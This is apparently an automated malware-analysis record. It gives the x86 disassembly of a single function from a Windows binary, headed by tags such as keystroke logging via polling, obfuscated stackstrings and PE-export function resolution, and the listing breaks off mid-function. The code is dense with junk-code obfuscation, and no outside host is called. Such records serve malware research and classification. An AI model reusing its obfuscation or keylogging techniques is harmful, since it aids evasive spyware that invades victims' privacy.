Function at 0x100163fa
Capabilities:
Accept command line arguments
Clear file content
Contain obfuscated stackstrings
Get common file path
Get system information on windows
Log keystrokes via polling
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071198
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1410
call fcn.1006d1c0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 3
lea ecx, [ebp - 0x120]
call fcn.10022698
and dword [ebp - 4], 0
mov dword [ebp - 0x408], 0
jmp 0x1001644d
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 3
jge 0x1001646f
push dword [ebp - 0x408]
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov dword [eax], 0xfebb6748
jmp 0x10016440
push 1
lea ecx, [ebp - 0x120]
call fcn.1002273f
push 1
lea ecx, [ebp - 0x120]
call fcn.1002273f
cmp dword [eax], 0xdad5a519
je 0x1001649d
mov dword [ebp - 0x8a0], 1
jmp 0x100164a4
and dword [ebp - 0x8a0], 0
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov ecx, dword [ebp - 0x8a0]
cmp ecx, dword [eax]
jl 0x100164c7
mov dword [ebp - 0xafc], 1
jmp 0x100164ce
and dword [ebp - 0xafc], 0
cmp dword [ebp - 0xafc], 5
jne 0x100164e3
mov dword [ebp - 0xb44], 1
jmp 0x100164ea
and dword [ebp - 0xb44], 0
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov esi, dword [ebp - 0xb44]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
cmp esi, dword [eax]
jg 0x1001651c
mov dword [ebp - 0xb4c], 1
jmp 0x10016523
and dword [ebp - 0xb4c], 0
push 2
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov ecx, dword [ebp - 0xb4c]
cmp ecx, dword [eax]
jl 0x10016546
mov dword [ebp - 0xc0c], 1
jmp 0x1001654d
and dword [ebp - 0xc0c], 0
push 1
lea ecx, [ebp - 0x120]
call fcn.1002273f
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov esi, eax
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x10016588
mov dword [ebp - 0xb54], 1
jmp 0x1001658f
and dword [ebp - 0xb54], 0
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [ebp - 0xb54]
jge 0x100165b2
mov dword [ebp - 0xb5c], 1
jmp 0x100165b9
and dword [ebp - 0xb5c], 0
push 2
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov ecx, dword [ebp - 0xb5c]
cmp ecx, dword [eax]
jge 0x100165dc
mov dword [ebp - 0x40c], 1
jmp 0x100165e3
and dword [ebp - 0x40c], 0
push 1
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov ecx, dword [ebp - 0x40c]
mov dword [eax], ecx
cmp dword [ebp - 0x40c], 0xfff7
jne 0x100168ef
mov dword [ebp - 0x27c], 0xe434392f
mov dword [ebp - 0x1280], 4
mov dword [ebp - 0x1210], 0xe0c28056
push 3
lea ecx, [ebp - 0xed4]
call fcn.10022698
mov byte [ebp - 4], 1
mov dword [ebp - 0x484], 8
mov dword [ebp - 0x3d8], 0
jmp 0x1001665a
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 3
jge 0x1001667c
push dword [ebp - 0x3d8]
lea ecx, [ebp - 0xed4]
call fcn.1002273f
mov dword [eax], 0x47b6c411
jmp 0x1001664d
mov dword [ebp - 0x27c], 0
jmp 0x10016695
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jg 0x100168db
mov dword [ebp - 0x1e8], 0x35290ce9
mov dword [ebp - 0x1118], 4
mov dword [ebp - 0xff0], 0xc7e9a03a
mov dword [ebp - 0xfec], 0xc7e9a03a
mov dword [ebp - 0xfe8], 0xc7e9a03a
mov dword [ebp - 0xfe4], 0xc7e9a03a
mov dword [ebp - 0x3e8], 0
jmp 0x100166f7
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 4
jge 0x10016713
mov eax, dword [ebp - 0x3e8]
mov dword [ebp + eax*4 - 0x1420], 0
jmp 0x100166ea
mov dword [ebp - 0x1e8], 2
jmp 0x1001672c
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jl 0x100168d6
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0xcc4], 0xfffffffd
mov dword [ebp - 0x1208], 0
mov dword [ebp - 0x1120], 0xd479ea40
mov dword [ebp - 0x12c], 0
jmp 0x1001677a
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jg 0x100168d1
mov byte [ebp - 0x1ac], 0
movzx eax, byte [ebp - 0x1ac]
test eax, eax
je 0x100167a4
push 0x772
call dword [sym.imp.GDI32.dll_RealizePalette]
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x120]
call fcn.1002273f
cmp dword [eax], 0
jne 0x100168ad
mov eax, dword [ebp - 0xcc4]
inc eax
jne 0x10016859
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov esi, eax
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x100167fd
mov dword [ebp - 0xccc], 1
jmp 0x10016804
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x1218], eax
xor eax, eax
cmp eax, 0xffffffff
je 0x10016830
mov dword [ebp - 0xcd4], 1
jmp 0x10016837
and dword [ebp - 0xcd4], 0
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x120]
call fcn.1002273f
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x120]
call fcn.1002273f
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0xff0]
push 0
lea ecx, [ebp - 0xed4]
call fcn.1002273f
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
cmp esi, dword [eax]
je 0x10016891
mov dword [ebp - 0xb64], 1
jmp 0x10016898
and dword [ebp - 0xb64], 0
cmp dword [ebp - 0xb64], 0x901516ea
jb 0x100168ad
and dword [ebp - 0xb6c], 0
jmp 0x100168b7
mov dword [ebp - 0xb6c], 1
push 0
lea ecx, [ebp - 0xed4]
call fcn.1002273f
mov ecx, dword [ebp - 0xb6c]
mov dword [eax], ecx
jmp 0x1001676d
jmp 0x1001671f
jmp 0x10016688
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xed4]
call fcn.1002271a
jmp 0x10016a55
mov dword [ebp - 0xb20], 0xab66969e
push 2
lea ecx, [ebp - 0xfb0]
call fcn.10022698
mov byte [ebp - 4], 2
mov dword [ebp - 0xdac], 0x35f447fe
mov dword [ebp - 0x284], 0
jmp 0x1001692d
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x1001694f
push dword [ebp - 0x284]
lea ecx, [ebp - 0xfb0]
call fcn.1002273f
mov dword [eax], 0x7138bf9c
jmp 0x10016920
mov esi, dword [ebp - 0xb20]
push 0
lea ecx, [ebp - 0xfb0]
call fcn.1002273f
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
push 2
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov esi, eax
push 2
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x1001699f
mov dword [ebp - 0xb74], 1
jmp 0x100169a6
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb74], 0x89989a98
jbe 0x100169be
mov dword [ebp - 0xb7c], 1
jmp 0x100169c5
and dword [ebp - 0xb7c], 0
cmp dword [ebp - 0xb7c], 1
je 0x100169da
mov dword [ebp - 0xcdc], 1
jmp 0x100169e1
and dword [ebp - 0xcdc], 0
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
mov esi, 0xb6bd
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x120]
call fcn.1002273f
cmp esi, dword [eax]
jne 0x10016a12
mov dword [ebp - 0x5b0], 1
jmp 0x10016a19
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0xb20]
cmp eax, dword [ebp - 0x5b0]
jl 0x10016a33
mov dword [ebp - 0x4e8], 1
jmp 0x10016a3a
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0xdac], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xfb0]
call fcn.1002271a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120]
call fcn.1002271a
cmp dword [ebp + 0x10], 0
jbe 0x10016a86
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10016a86
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1001117a
pop ecx
pop ecx
jmp 0x1001f98f
mov dword [ebp - 0x28c], 0xffffffff
mov dword [ebp - 0x4f0], 0xfffffff7
mov dword [ebp - 0x398], 0
jmp 0x10016ab3
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 1
jge 0x10016acf
mov eax, dword [ebp - 0x398]
mov dword [ebp + eax*4 - 0x4b4], 0x51fe77dd
jmp 0x10016aa6
mov dword [ebp - 0x28c], 0x18
jmp 0x10016ae8
mov eax, dword [ebp - 0x28c]
dec eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0xffffffee
jle 0x10016c18
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 0
jmp 0x10016b0c
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10016c13
mov dword [ebp - 0xdbc], 0xeef7d266
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x4b4]
mov ecx, dword [ebp - 0x40]
mov dword [ebp + ecx*4 - 0x4b4], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1128], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x4b4], 0
je 0x10016b5c
cmp dword [ebp - 0x40], 0
je 0x10016b5c
mov dword [ebp - 0xa2c], 1
jmp 0x10016b63
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xa2c], eax
jge 0x10016b7a
mov dword [ebp - 0xdb4], 1
jmp 0x10016b81
and dword [ebp - 0xdb4], 0
mov dword [ebp - 0x4f0], 0x123d
cmp dword [ebp - 0x4f0], 1
jle 0x10016ba0
mov dword [ebp - 0xa34], 1
jmp 0x10016ba7
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xa34], eax
jl 0x10016bbe
mov dword [ebp - 0x4f8], 1
jmp 0x10016bc5
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 0x9cf3
jl 0x10016bdd
mov dword [ebp - 0xa3c], 1
jmp 0x10016be4
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xa3c], eax
jge 0x10016bfb
mov dword [ebp - 0x500], 1
jmp 0x10016c02
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xdbc], eax
jmp 0x10016b05
jmp 0x10016adb
cmp dword [ebp + 0x10], 0
jne 0x1001aa27
mov dword [ebp - 0x3d0], 1
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0xdc4], 0x3948b081
mov dword [ebp - 0x3d0], 0
jmp 0x10016c59
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x14
jge 0x10016d08
mov dword [ebp - 0x294], 0
jmp 0x10016c7f
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x10016c9b
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x1030], 0x2209
jmp 0x10016c72
mov dword [ebp - 0x3a0], 0x95aad853
cmp dword [ebp - 0x3a0], 0x1b66bafc
jl 0x10016cbd
mov dword [ebp - 0xa44], 1
jmp 0x10016cc4
and dword [ebp - 0xa44], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1030]
cmp eax, dword [ebp - 0xa44]
jge 0x10016ce5
mov dword [ebp - 0x508], 1
jmp 0x10016cec
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0xdc4], eax
mov dword [ebp - 0x3a0], 0xfffffffd
jmp 0x10016c4c
mov dword [ebp - 0x3a0], 0x15fdc8df
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a6dd
mov dword [ebp - 0x2f0], eax
push 1
lea ecx, [ebp - 0x4c4]
call fcn.10022698
mov dword [ebp - 4], 3
mov dword [ebp - 0xa84], 0x90538e0e
push 1
lea ecx, [ebp - 0x1184]
call fcn.10022698
mov byte [ebp - 4], 4
mov dword [ebp - 0x7c], 0
jmp 0x10016d62
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x10016d7e
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov dword [eax], 0xfffffff8
jmp 0x10016d5b
mov dword [ebp - 0x7c], 0
jmp 0x10016d8e
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x10016da7
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x1184]
call fcn.1002273f
and dword [eax], 0
jmp 0x10016d87
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov dword [eax], 0xffffffe5
jmp 0x10016de0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa4c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa4c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
cmp dword [eax], 0x1a
jg 0x1001725d
mov dword [ebp - 0x44], 0xcfe04822
mov dword [ebp - 0xa8c], 1
mov dword [ebp - 0x528], 0xd4a7c76
mov dword [ebp - 0xa74], 0xfffffffa
mov dword [ebp - 0x4b8], 0xffffffff
mov dword [ebp - 0xa94], 1
mov dword [ebp - 0x2c], 0
jmp 0x10016e3f
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10016e55
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb94], 4
jmp 0x10016e38
mov dword [ebp - 0x2c], 0
jmp 0x10016e65
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x10016e7b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x103c], 0x260df392
jmp 0x10016e5e
mov dword [ebp - 0x2c], 0
jmp 0x10016e8b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10016ea1
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xdf4], 0
jmp 0x10016e84
mov dword [ebp - 0x44], 0
jmp 0x10016eb1
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jg 0x10017258
mov dword [ebp - 0x510], 0xba2522ab
mov dword [ebp - 0xdcc], 1
mov dword [ebp - 0x1220], 1
mov dword [ebp - 0x1130], 0x24e194e4
mov dword [ebp - 0x1214], 0xa4792d8c
mov dword [ebp - 0x1138], 0x90942075
mov dword [ebp - 0x1294], 0x6287676e
mov dword [ebp - 0x1140], 0x52fa57a8
mov dword [ebp - 0x121c], 0xd571b4d0
mov dword [ebp - 0x29c], 0
jmp 0x10016f2e
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 3
jge 0x10016f4a
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0x1404], 0
jmp 0x10016f21
mov eax, 0x917a
test eax, eax
je 0x100170fb
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x1148], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0xb94]
imul ecx, dword [ebp + eax - 0xb94]
cmp ecx, 0xffff
jae 0x10016f92
mov dword [ebp - 0x518], 1
jmp 0x10016f99
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xb94]
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0xa54], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa54]
mov dword [ebp + eax - 0x103c], ecx
mov eax, dword [ebp - 0xa54]
imul eax, dword [ebp - 0x518]
cmp eax, 0xdf11
jle 0x10016ff2
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0xb94], 0
jne 0x10016ff2
and dword [ebp - 0xa5c], 0
jmp 0x10016ffc
mov dword [ebp - 0xa5c], 1
mov eax, dword [ebp - 0xdcc]
cmp dword [ebp - 0xa5c], eax
jle 0x10017016
mov dword [ebp - 0x520], 1
jmp 0x1001701d
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xb94]
cmp dword [ebp - 0x520], eax
jl 0x1001703b
mov dword [ebp - 0xa64], 1
jmp 0x10017042
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0x67f5
jg 0x10017066
mov dword [ebp - 0xa6c], 1
jmp 0x1001706d
and dword [ebp - 0xa6c], 0
cmp dword [ebp - 0xa6c], 0xfffffffa
jne 0x10017082
mov dword [ebp - 0x530], 1
jmp 0x10017089
and dword [ebp - 0x530], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb94]
add eax, dword [ebp - 0x530]
mov dword [ebp - 0xa74], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xa74]
cmp ecx, dword [ebp + eax*4 - 0xb94]
jge 0x100170bf
mov dword [ebp - 0x538], 1
jmp 0x100170c6
and dword [ebp - 0x538], 0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov esi, dword [ebp - 0x538]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
sub esi, dword [eax]
cmp esi, 2
jae 0x100170fb
mov dword [ebp - 0xdd4], 1
jmp 0x10017102
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0xb94], 1
jl 0x1001711b
mov dword [ebp - 0xa7c], 1
jmp 0x10017122
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0xa7c]
cmp eax, dword [ebp - 0x4b8]
jge 0x10017140
mov dword [ebp - 0x540], 1
jmp 0x10017147
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 0
jne 0x1001716e
mov eax, 0x6aec
test eax, eax
jne 0x1001716e
and dword [ebp - 0x548], 0
jmp 0x10017178
mov dword [ebp - 0x548], 1
cmp dword [ebp - 0x548], 1
je 0x1001718d
mov dword [ebp - 0x550], 1
jmp 0x10017194
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0xa8c]
cmp dword [ebp - 0x550], eax
jl 0x100171ae
mov dword [ebp - 0xddc], 1
jmp 0x100171b5
and dword [ebp - 0xddc], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xb94]
mov dword [ebp - 0x1018], eax
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov esi, eax
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x100171f3
mov dword [ebp - 0xde4], 1
jmp 0x100171fa
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x4b8], 0xffffffff
jge 0x1001721b
mov dword [ebp - 0xdec], 1
jmp 0x10017222
and dword [ebp - 0xdec], 0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.1002273f
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xb94]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xdf4], eax
mov eax, dword [ebp - 0xa94]
inc eax
mov dword [ebp - 0xa94], eax
jmp 0x10016eaa
jmp 0x10016dbc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1184]
call fcn.1002271a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c4]
call fcn.1002271a
cmp dword [0x10c36020], 0
jne 0x1001a4f4
mov dword [ebp - 0x1024], 0x9978f3c
mov dword [ebp - 0x560], 9
mov dword [ebp - 0x107c], 0x8591b68d
mov dword [ebp - 0x1084], 0x7e6a
mov dword [ebp - 0xeb0], 7
mov dword [ebp - 0xaa4], 0xffffffff
mov dword [ebp - 0x108c], 0x4edf6b3e
mov dword [ebp - 0x1094], 1
mov dword [ebp - 0x109c], 0xffffffff
mov dword [ebp - 0x10a4], 0x58efa97f
mov dword [ebp - 0x10ac], 0xd594484f
mov dword [ebp - 0x10b4], 0xdf2f
mov dword [ebp - 0x3f8], 0
jmp 0x10017319
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 1
jge 0x10017335
mov eax, dword [ebp - 0x3f8]
mov dword [ebp + eax*4 - 0x2a4], 0xfffffffb
jmp 0x1001730c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2a4], 0
jmp 0x10017363
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2a4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a4], 0xfffffff8
jg 0x10017524
mov dword [ebp - 0x418], 0xd42374b1
mov dword [ebp - 0x10bc], 0xc25bfc88
mov dword [ebp - 0xdfc], 0xffffffff
push 3
lea ecx, [ebp - 0xf28]
call fcn.10022698
mov dword [ebp - 4], 5
mov dword [ebp - 0x2ac], 1
mov dword [ebp - 0x10c4], 0xebf9035
mov dword [ebp - 0x468], 0x80c6548a
mov dword [ebp - 0xa9c], 0xae21
mov dword [ebp - 0x3a8], 0
jmp 0x100173ea
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 3
jge 0x1001740c
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0xf28]
call fcn.1002273f
mov dword [eax], 0xa9b64fda
jmp 0x100173dd
push 1
lea ecx, [ebp - 0xf28]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x418]
jl 0x10017475
mov dword [ebp - 0xdfc], 1
mov eax, dword [ebp - 0x418]
sub eax, 0x727ece23
cmp eax, 0xb398ef54
je 0x10017457
mov dword [ebp - 0x558], 1
jmp 0x1001745e
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0x558], eax
jle 0x10017475
and dword [ebp - 0xe04], 0
jmp 0x1001747f
mov dword [ebp - 0xe04], 1
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x10cc], eax
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0xa9c], eax
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x560], eax
push 1
lea ecx, [ebp - 0xf28]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0xe0c], eax
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0xe0c]
cmp eax, dword [ebp - 0xea8]
je 0x100174f7
mov dword [ebp - 0x568], 1
jmp 0x100174fe
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x2ac]
add eax, dword [ebp - 0x568]
mov dword [ebp - 0xeb0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf28]
call fcn.1002271a
jmp 0x10017348
mov dword [ebp - 0xeb8], 0x320f
lea eax, [ebp - 0xeb8]
push eax
call fcn.100110da
pop ecx
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0x350], 0x4ec2e0cf
mov byte [ebp - 0x1a6], 0
movzx eax, byte [ebp - 0x1a6]
test eax, eax
je 0x1001756b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov dword [ebp - 0x350], 9
jmp 0x10017584
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x10
jge 0x10017634
mov dword [ebp - 0x354], 0x86e52d8c
mov dword [ebp - 0xaac], 0xb9dbea52
mov dword [ebp - 0xe84], 0xa92bd42c
mov dword [ebp - 0x2b4], 0
jmp 0x100175c8
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 2
jge 0x100175e4
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x1314], 0xfffffffd
jmp 0x100175bb
mov dword [ebp - 0x354], 1
jmp 0x100175fd
mov eax, dword [ebp - 0x354]
dec eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
jl 0x1001762f
mov dword [ebp - 0xe90], 0xfffffffb
mov eax, dword [ebp - 0xe90]
add eax, 0xd037
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0xe84], eax
jmp 0x100175f0
jmp 0x10017577
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x5d8], 0x4dcc80fc
mov dword [ebp - 0xec], 0x78f4f823
mov dword [ebp - 0x470], 1
mov dword [ebp - 0xc28], 2
mov dword [ebp - 0xaf4], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x1f4], 0xfa9ef816
mov dword [ebp - 0xa38], 0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x428], 0x85f402be
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x21c], 0xab70486d
mov dword [ebp - 0x430], 1
mov dword [ebp - 0x10d4], 0
mov dword [ebp - 0x2bc], 0
jmp 0x100176e7
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jge 0x10017703
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xae8], 0xffffffff
jmp 0x100176da
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x68]
cmp eax, 0x7963ba20
jle 0x1001771c
mov dword [ebp - 0x570], 1
jmp 0x10017723
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x570]
sub ecx, dword [ebp - 0x68]
lea eax, [ecx + eax + 0x2167fa5c]
cmp eax, dword [ebp - 0x68]
jl 0x10017747
mov dword [ebp - 0xab4], 1
jmp 0x1001774e
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0xab4]
jne 0x10017766
mov eax, 0x714ad38
test eax, eax
je 0x10017a34
mov dword [ebp - 0x420], 0x66febfb2
mov dword [ebp - 0xd98], 0xa08bbd18
mov dword [ebp - 0x10dc], 0xffffffff
push 3
lea ecx, [ebp - 0xee0]
call fcn.10022698
mov dword [ebp - 4], 6
mov dword [ebp - 0x578], 6
mov dword [ebp - 0x35c], 0
jmp 0x100177bb
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jge 0x100177dd
push dword [ebp - 0x35c]
lea ecx, [ebp - 0xee0]
call fcn.1002273f
mov dword [eax], 8
jmp 0x100177ae
mov eax, dword [ebp - 0x420]
dec eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0xec], 0xffffffe6
jmp 0x10017803
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xffffffef
je 0x10017a20
mov dword [ebp - 0x10e4], 0xfffffffe
mov dword [ebp - 0xc18], 1
mov dword [ebp - 0x10ec], 0xffffffff
mov dword [ebp - 0x2c4], 0
jmp 0x10017847
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x10017863
